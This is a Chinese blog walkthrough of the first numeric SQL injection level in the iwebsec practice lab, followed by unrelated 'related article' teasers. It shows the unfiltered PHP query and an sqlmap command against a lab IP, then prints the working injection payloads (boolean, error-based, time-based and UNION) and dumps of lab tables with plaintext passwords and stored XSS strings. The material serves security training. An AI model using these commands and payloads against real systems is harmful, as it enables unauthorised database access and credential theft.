iwebsec靶场 SQL注入漏洞通关笔记1- 数字型注入

news2025/8/3 22:03:03

目录

文章目录

前言

第01关 数字型注入

1.源码分析

2. sqlmap渗透

总结



前言

iwebsec靶场的SQL注入关卡共13关SQL注入漏洞,覆盖了数字型注入、字符型注入、报错型盲注、布尔型盲注、时间型盲注以及各种过滤绕过的注入,外加上二次注入,是SQL注入知识点覆盖较为全面的一个靶场。


第01关 数字型注入

打开靶场,url为 http://192.168.71.151/sqli/01.php?id=1 如下所示

1.源码分析

如下所示,对传入的参数id并未进行过滤。

sql语句为$sql="SELECT * FROM user WHERE id=$id LIMIT 0,1";

故而存在数字型注入

2. sqlmap渗透

基于iwebsec靶场的SQL注入笔记主要以sqlmap工具自动化渗透为主,故而渗透时使用sqlmap工具,命令如下

sqlmap -u http://192.168.71.151/sqli/01.php?id=1 --current-db --dump --batch

 如下所示注入成功,发现union query查询的数字型注入

 完整交互如下

kali@kali:~$ sqlmap -u http://192.168.71.151/sqli/01.php?id=1 --current-db --dump --batch
        ___
       __H__
 ___ ___[)]_____ ___ ___  {1.5.11#stable}
|_ -| . [,]     | .'| . |
|___|_  [']_|_|_|__,|  _|
      |_|V...       |_|   https://sqlmap.org

[!] legal disclaimer: Usage of sqlmap for attacking targets without prior mutual consent is illegal. It is the end user's responsibility to obey all applicable local, state and federal laws. Developers assume no liability and are not responsible for any misuse or damage caused by this program

[*] starting @ 21:20:12 /2022-11-24/

[21:20:13] [INFO] testing connection to the target URL
[21:20:13] [INFO] checking if the target is protected by some kind of WAF/IPS
[21:20:13] [INFO] testing if the target URL content is stable
[21:20:13] [INFO] target URL content is stable
[21:20:13] [INFO] testing if GET parameter 'id' is dynamic
[21:20:13] [WARNING] GET parameter 'id' does not appear to be dynamic
[21:20:13] [INFO] heuristic (basic) test shows that GET parameter 'id' might be injectable (possible DBMS: 'MySQL')
[21:20:13] [INFO] heuristic (XSS) test shows that GET parameter 'id' might be vulnerable to cross-site scripting (XSS) attacks
[21:20:13] [INFO] testing for SQL injection on GET parameter 'id'
it looks like the back-end DBMS is 'MySQL'. Do you want to skip test payloads specific for other DBMSes? [Y/n] Y
for the remaining tests, do you want to include all tests for 'MySQL' extending provided level (1) and risk (1) values? [Y/n] Y
[21:20:13] [INFO] testing 'AND boolean-based blind - WHERE or HAVING clause'
[21:20:13] [WARNING] reflective value(s) found and filtering out
[21:20:14] [INFO] testing 'Boolean-based blind - Parameter replace (original value)'
[21:20:14] [INFO] GET parameter 'id' appears to be 'Boolean-based blind - Parameter replace (original value)' injectable (with --string="age")
[21:20:14] [INFO] testing 'Generic inline queries'
[21:20:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (BIGINT UNSIGNED)'
[21:20:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (BIGINT UNSIGNED)'
[21:20:14] [INFO] testing 'MySQL >= 5.5 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (EXP)'
[21:20:14] [INFO] testing 'MySQL >= 5.5 OR error-based - WHERE or HAVING clause (EXP)'
[21:20:14] [INFO] testing 'MySQL >= 5.6 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (GTID_SUBSET)'
[21:20:14] [INFO] testing 'MySQL >= 5.6 OR error-based - WHERE or HAVING clause (GTID_SUBSET)'
[21:20:14] [INFO] testing 'MySQL >= 5.7.8 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (JSON_KEYS)'
[21:20:14] [INFO] testing 'MySQL >= 5.7.8 OR error-based - WHERE or HAVING clause (JSON_KEYS)'
[21:20:14] [INFO] testing 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)'
[21:20:14] [INFO] GET parameter 'id' is 'MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)' injectable                                                                                                     
[21:20:14] [INFO] testing 'MySQL inline queries'                                                                                                                                                                                           
[21:20:14] [INFO] testing 'MySQL >= 5.0.12 stacked queries (comment)'                                                                                                                                                                      
[21:20:14] [WARNING] time-based comparison requires larger statistical model, please wait. (done)                                                                                                                                          
[21:20:14] [INFO] testing 'MySQL >= 5.0.12 stacked queries'                                                                                                                                                                                
[21:20:14] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP - comment)'                                                                                                                                                        
[21:20:14] [INFO] testing 'MySQL >= 5.0.12 stacked queries (query SLEEP)'                                                                                                                                                                  
[21:20:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query - comment)'                                                                                                                                                         
[21:20:14] [INFO] testing 'MySQL < 5.0.12 stacked queries (heavy query)'
[21:20:14] [INFO] testing 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)'
[21:20:24] [INFO] GET parameter 'id' appears to be 'MySQL >= 5.0.12 AND time-based blind (query SLEEP)' injectable 
[21:20:24] [INFO] testing 'Generic UNION query (NULL) - 1 to 20 columns'
[21:20:24] [INFO] automatically extending ranges for UNION query injection technique tests as there is at least one other (potential) technique found
[21:20:24] [INFO] 'ORDER BY' technique appears to be usable. This should reduce the time needed to find the right number of query columns. Automatically extending the range for current UNION query injection technique test
[21:20:24] [INFO] target URL appears to have 3 columns in query
[21:20:24] [INFO] GET parameter 'id' is 'Generic UNION query (NULL) - 1 to 20 columns' injectable
GET parameter 'id' is vulnerable. Do you want to keep testing the others (if any)? [y/N] N
sqlmap identified the following injection point(s) with a total of 46 HTTP(s) requests:
---
Parameter: id (GET)
    Type: boolean-based blind
    Title: Boolean-based blind - Parameter replace (original value)
    Payload: id=(SELECT (CASE WHEN (2397=2397) THEN 1 ELSE (SELECT 9949 UNION SELECT 5355) END))

    Type: error-based
    Title: MySQL >= 5.0 AND error-based - WHERE, HAVING, ORDER BY or GROUP BY clause (FLOOR)
    Payload: id=1 AND (SELECT 2678 FROM(SELECT COUNT(*),CONCAT(0x71786a6b71,(SELECT (ELT(2678=2678,1))),0x716b7a6271,FLOOR(RAND(0)*2))x FROM INFORMATION_SCHEMA.PLUGINS GROUP BY x)a)

    Type: time-based blind
    Title: MySQL >= 5.0.12 AND time-based blind (query SLEEP)
    Payload: id=1 AND (SELECT 3668 FROM (SELECT(SLEEP(5)))vjAy)

    Type: UNION query
    Title: Generic UNION query (NULL) - 3 columns
    Payload: id=1 UNION ALL SELECT CONCAT(0x71786a6b71,0x456c514d62616f4b7a7651664c6f6b4e72567142766663796152416b674642714e7350626d456542,0x716b7a6271),NULL,NULL-- -
---
[21:20:24] [INFO] the back-end DBMS is MySQL
web server operating system: Linux CentOS 6
web application technology: Apache 2.2.15, PHP 5.2.17
back-end DBMS: MySQL >= 5.0
[21:20:24] [INFO] fetching current database
current database: 'iwebsec'
[21:20:24] [WARNING] missing database parameter. sqlmap is going to use the current database to enumerate table(s) entries
[21:20:24] [INFO] fetching current database
[21:20:24] [INFO] fetching tables for database: 'iwebsec'
[21:20:24] [INFO] fetching columns for table 'xss' in database 'iwebsec'
[21:20:24] [INFO] fetching entries for table 'xss' in database 'iwebsec'
Database: iwebsec
Table: xss
[5 entries]
+----+------------------------------------+
| id | name                               |
+----+------------------------------------+
| 7  | <img src=1 onerror=alert(/ctfs/)/> |
| 6  | <img src=1 onerror=alert(/ctfs/)/> |
| 5  | <img src=1 onerror=alert(/ctfs/)/> |
| 1  | iwebsec                            |
| 8  | <?php phpinfo();?>                 |
+----+------------------------------------+

[21:20:24] [INFO] table 'iwebsec.xss' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/xss.csv'
[21:20:24] [INFO] fetching columns for table 'users' in database 'iwebsec'
[21:20:24] [INFO] fetching entries for table 'users' in database 'iwebsec'
Database: iwebsec
Table: users
[1 entry]
+-------+-------------+----------+
| role  | password    | username |
+-------+-------------+----------+
| admin | mall123mall | orange   |
+-------+-------------+----------+

[21:20:24] [INFO] table 'iwebsec.users' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/users.csv'
[21:20:24] [INFO] fetching columns for table 'user' in database 'iwebsec'
[21:20:24] [INFO] fetching entries for table 'user' in database 'iwebsec'
Database: iwebsec
Table: user
[3 entries]
+----+----------+----------+
| id | password | username |
+----+----------+----------+
| 1  | pass1    | user1    |
| 2  | pass2    | user2    |
| 3  | pass3    | user3    |
+----+----------+----------+

[21:20:24] [INFO] table 'iwebsec.`user`' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/user.csv'
[21:20:24] [INFO] fetching columns for table 'sqli' in database 'iwebsec'
[21:20:24] [INFO] fetching entries for table 'sqli' in database 'iwebsec'
Database: iwebsec
Table: sqli
[7 entries]
+----+-----------------------+----------+------------------------------------------------------+
| id | email                 | password | username                                             |
+----+-----------------------+----------+------------------------------------------------------+
| 1  | user1@iwebsec.com     | pass1    | user1                                                |
| 2  | user2@iwebsec.com     | pass2    | user2                                                |
| 3  | user3@iwebsec.com     | pass3    | user3                                                |
| 4  | user4@iwebsec.com     | admin    | admin                                                |
| 5  | 123@123.com           | 123      | 123                                                  |
| 6  | 1234@123.com          | 123      | ctfs' or updatexml(1,concat(0x7e,(version())),0)#    |
| 7  | iwebsec02@iwebsec.com | 123456   | iwebsec' or updatexml(1,concat(0x7e,(version())),0)# |
+----+-----------------------+----------+------------------------------------------------------+

[21:20:24] [INFO] table 'iwebsec.sqli' dumped to CSV file '/home/kali/.local/share/sqlmap/output/192.168.71.151/dump/iwebsec/sqli.csv'
[21:20:24] [INFO] fetched data logged to text files under '/home/kali/.local/share/sqlmap/output/192.168.71.151'
[21:20:24] [WARNING] your sqlmap version is outdated

[*] ending @ 21:20:24 /2022-11-24/

实际上在进行注入时,选择的命令是--current-db --dump这样就可以将当前数据库的内容全部打印出来,相对而言更加快捷。


总结

SQL注入主要分析几个内容

(1)闭合方式是什么?iwebsec的第一关关卡为数字型,无闭合

(2)注入类别是什么?这部分是普通的数字型注入,使用union法即可注入成功

(3)是否过滤了关键字?很明显通过源码,iwebsec的数字型关卡无过滤任何信息

了解了如上信息就可以针对性进行SQL渗透,使用sqlmap工具渗透更是事半功倍,以上就是今天要讲的数字型注入内容,初学者建议按部就班先使用手动注入练习,再进行sqlmap渗透。

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.coloradmin.cn/o/34717.html

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈,一经查实,立即删除!

相关文章

Recommendation Fairness: From Static to Dynamic 阅读笔记

论文链接https://arxiv.org/abs/2109.03150v1 Section 1 引言 越来越多的推荐系统开始将推荐建模为一个马尔可夫决策过程&#xff0c;并使用强化学习来解决这个问题。从而推荐系统场景下的公平性研究便面临着一个从静态评价与一次性干预static evaluation and one-shot interv…

CSS3 动画

变形 transform 在CSS3中&#xff0c;动画效果包括3个部分&#xff1a;变形&#xff08;transform&#xff09;、过渡&#xff08;transition&#xff09;、动画&#xff08;animation&#xff09; translate()平移 transform: translateX(x);    /*沿x轴方向平移*/ tran…

(十)死信队列

死信队列1、概念2、死信产生的原因3、代码实现3.1. 流程图3.2. 消息TTL 过期3.3. 队列达到最大长度3.4. 消息被拒1、概念 某些时候由于特定的原因导致 queue 中的某些消息无法被消费&#xff0c;这样的消息如果没有 后续的处理&#xff0c;就变成了死信&#xff0c;有死信自然就…

(九)RabbitMQ交换机(Exchange)

交换机Exchange1、交换机1.1. Exchanges 概念1.2. Exchanges 的类型1.3. 无名exchange&#xff08;默认交换机&#xff09;2、临时队列3、绑定&#xff08;bindings&#xff09;4、Fanout&#xff08;发布/订阅&#xff09;5、Direct exchange、6、Topics在这里插入图片描述1、…

学生HTML个人网页作业作品 基于HTML+CSS+JavaScript明星个人主页(15页)

&#x1f389;精彩专栏推荐&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb;&#x1f447;&#x1f3fb; ✍️ 作者简介: 一个热爱把逻辑思维转变为代码的技术博主 &#x1f482; 作者主页: 【主页——&#x1f680;获取更多优质源码】 &#x1f393; web前端期末大作业…

0105 蓝桥杯真题08

/* * 中国古代文献中&#xff0c;曾记载过“大衍数列”, 主要用于解释中国传统文化中的太极衍生原理。 * 它的前几项是&#xff1a;0、2、4、8、12、18、24、32、40、50 ... * 其规律是&#xff1a;对偶数项&#xff0c;是序号平方再除2&#xff0c;奇数项&#xff0c;是序号…

【RT-Thread Studio更新】英飞凌 PSOC62-IFX-PROTO-KIT 开发环境搭建指南

本文将介绍在 RT-Thread Studio 上如何基于 PSOC62-IFX-PROTO-KIT 开发板搭建开发环境进行开发、烧录、调试功能。开发环境搭建步骤1、PSOC62-IFX-PROTO-KIT 开发板资源包安装打开Studio&#xff0c;点击工具栏上的SDK管理器在Board_Support_Packages 找到 Infineon 下的 PSOC6…

TOWER 成就徽章 NFT 系列介绍——TOWER 生态系统的第一个灵魂通证(SBT)

2022 年 7 月&#xff0c;团队推出了成就徽章 NFT 系列&#xff0c;记录每个成员在 TOWER 生态系统中的努力。这是第一个不可转让的灵魂 NFT 系列&#xff08;SBT&#xff09;&#xff0c;代表了每个玩家的独特身份。 关于灵魂通证&#xff08;SBT&#xff09; 以太坊联合创始人…

力扣(LeetCode)809. 情感丰富的文字(C++)

模拟 分析单词可扩张条件 : 对于某个字母&#xff0c;设目标字母长度 c1c1c1 &#xff0c;待扩张字母长度 c2c2c2 当 c1<c2c1<c2c1<c2&#xff0c;目标字母比待扩张字母少&#xff0c;false 当 c1≥c2c1\ge c2c1≥c2&#xff0c;目标字母比待扩张字母多或者相等&…

大数据开发——Hive实战案例

文章目录1. 创建表结构1.1 视频表结构1.2 用户表结构2. 准备工作2.1 创建临时表2.2 创建最终使用表2.3 对创建表进行解读3. 业务分析1. 创建表结构 1.1 视频表结构 1.2 用户表结构 2. 准备工作 2.1 创建临时表 由于使用的是orc方式进行存储&#xff0c;所以我们需要建立一个…

OpenFlow协议原理及基本配置-网络测试仪实操

一、OpenFlow协议原理 1.OpenFlow技术背景 ●转发和控制分离是SDN网络的本质特点之一。在SDN网络架构中&#xff0c;控制平面与转发平面分离&#xff0c;网络的管理和状态在逻辑上集中到一起&#xff0c;底层的网络基础从应用中独立出来&#xff0c;由此&#xff0c;网络获得…

不知道照片上怎么文字翻译成英文?来看看这篇文章

不知道你们在遇到看不懂的英文图片时&#xff0c;是不是和以前的我一样&#xff0c;一个一个的把图片内容输到翻译软件里&#xff0c;然后再进行翻译&#xff0c;其实这种办法不仅费时还费力&#xff0c;而且一旦遇到其它的外文就彻底没辙了&#xff0c;那怎么办呢&#xff1f;…

[附源码]java毕业设计音乐交流平台

项目运行 环境配置&#xff1a; Jdk1.8 Tomcat7.0 Mysql HBuilderX&#xff08;Webstorm也行&#xff09; Eclispe&#xff08;IntelliJ IDEA,Eclispe,MyEclispe,Sts都支持&#xff09;。 项目技术&#xff1a; SSM mybatis Maven Vue 等等组成&#xff0c;B/S模式 M…

我做数画ai绘画教程日赚过千,良心分享给想兼职赚钱的人

ai绘画能实现日赚过千&#xff0c;你信吗&#xff1f; 现在什么是风口&#xff1f;当然是ai绘画。而AI绘画里&#xff0c;什么最受欢迎&#xff0c;不用说&#xff0c;自然是二次元。 然后&#xff0c;很多人一拥而上&#xff0c;都去拍自己的二次元照片&#xff0c;然后在各…

10000m3d城镇生活污水处理工艺设计

目 录 1前 言 1 1.1 设计任务 2 1.2 设计目的 2 1.3 设计要求 2 1.4设计的数据以及资料 2 1.5 处理程度的计算 3 2 总体设计 5 2.1工艺比较的选择 5 2.2设计流量 8 2.2.1 设计规模 8 2.2.2 设计最大流量 8 2.3 格栅的设计计算 8 2.3.1格栅的作用及种类 8 2.3.2格栅的设计原则 8…

Linux系统编程(一)——环境搭建

准备写系统的总结Linux系统的一些知识以及Linux系统编程。这一篇先讲Linux搭建常用的开发环境。 目录 0x01 Linux开发环境搭建 一、远程链接操作 0x02 GCC 一、安装 二、了解GCC 0x03 静态库的制作及使用 一、库的介绍 二、静态库 0x04 动态库的制作和使用 一、配置…

Python遥感开发之批量掩膜和裁剪

Python遥感开发之批量掩膜和裁剪1.使用arcpy进行批量掩膜1.1 批量掩膜代码1.2 单个掩膜代码2.使用GDAL进行批量掩膜3.使用rasterio进行批量裁剪前言&#xff1a;主要介绍了使用arcpy、gdal、rasterio对遥感影像进行批量掩膜和裁剪。 1.使用arcpy进行批量掩膜 注意&#xff1a;…

Spring Boot——日志文件

文章目录1.日志的作用2.日志的用法3.自定义日志打印日志格式的说明4.日志级别5.在配置文件中设置日志级别5.1设置全局的日志级别和局部文件夹的日志级别6. 日志持久化7. 更简单的日志输出-lombok1.日志的作用 日志的作用&#xff1a;用来排除和定位问题 通过日志还可以具有以…

Greenplum数据库故障排查及修复

场景一&#xff1a;gp服务正常&#xff0c;存在部分segment实例丢失 1、异常现象 主节点切换gpadmin用户输入gpstate查看状态 如果红色框内有指向左边的箭头则说明存在部分segment实例丢失。 2、排查思路 首先查看主节点日志&#xff0c;重点关注发生segment丢失那段时间的…

【ML特征工程】第 3 章 :文本数据:扁平化、过滤和分块

&#x1f50e;大家好&#xff0c;我是Sonhhxg_柒&#xff0c;希望你看完之后&#xff0c;能对你有所帮助&#xff0c;不足请指正&#xff01;共同学习交流&#x1f50e; &#x1f4dd;个人主页&#xff0d;Sonhhxg_柒的博客_CSDN博客 &#x1f4c3; &#x1f381;欢迎各位→点赞…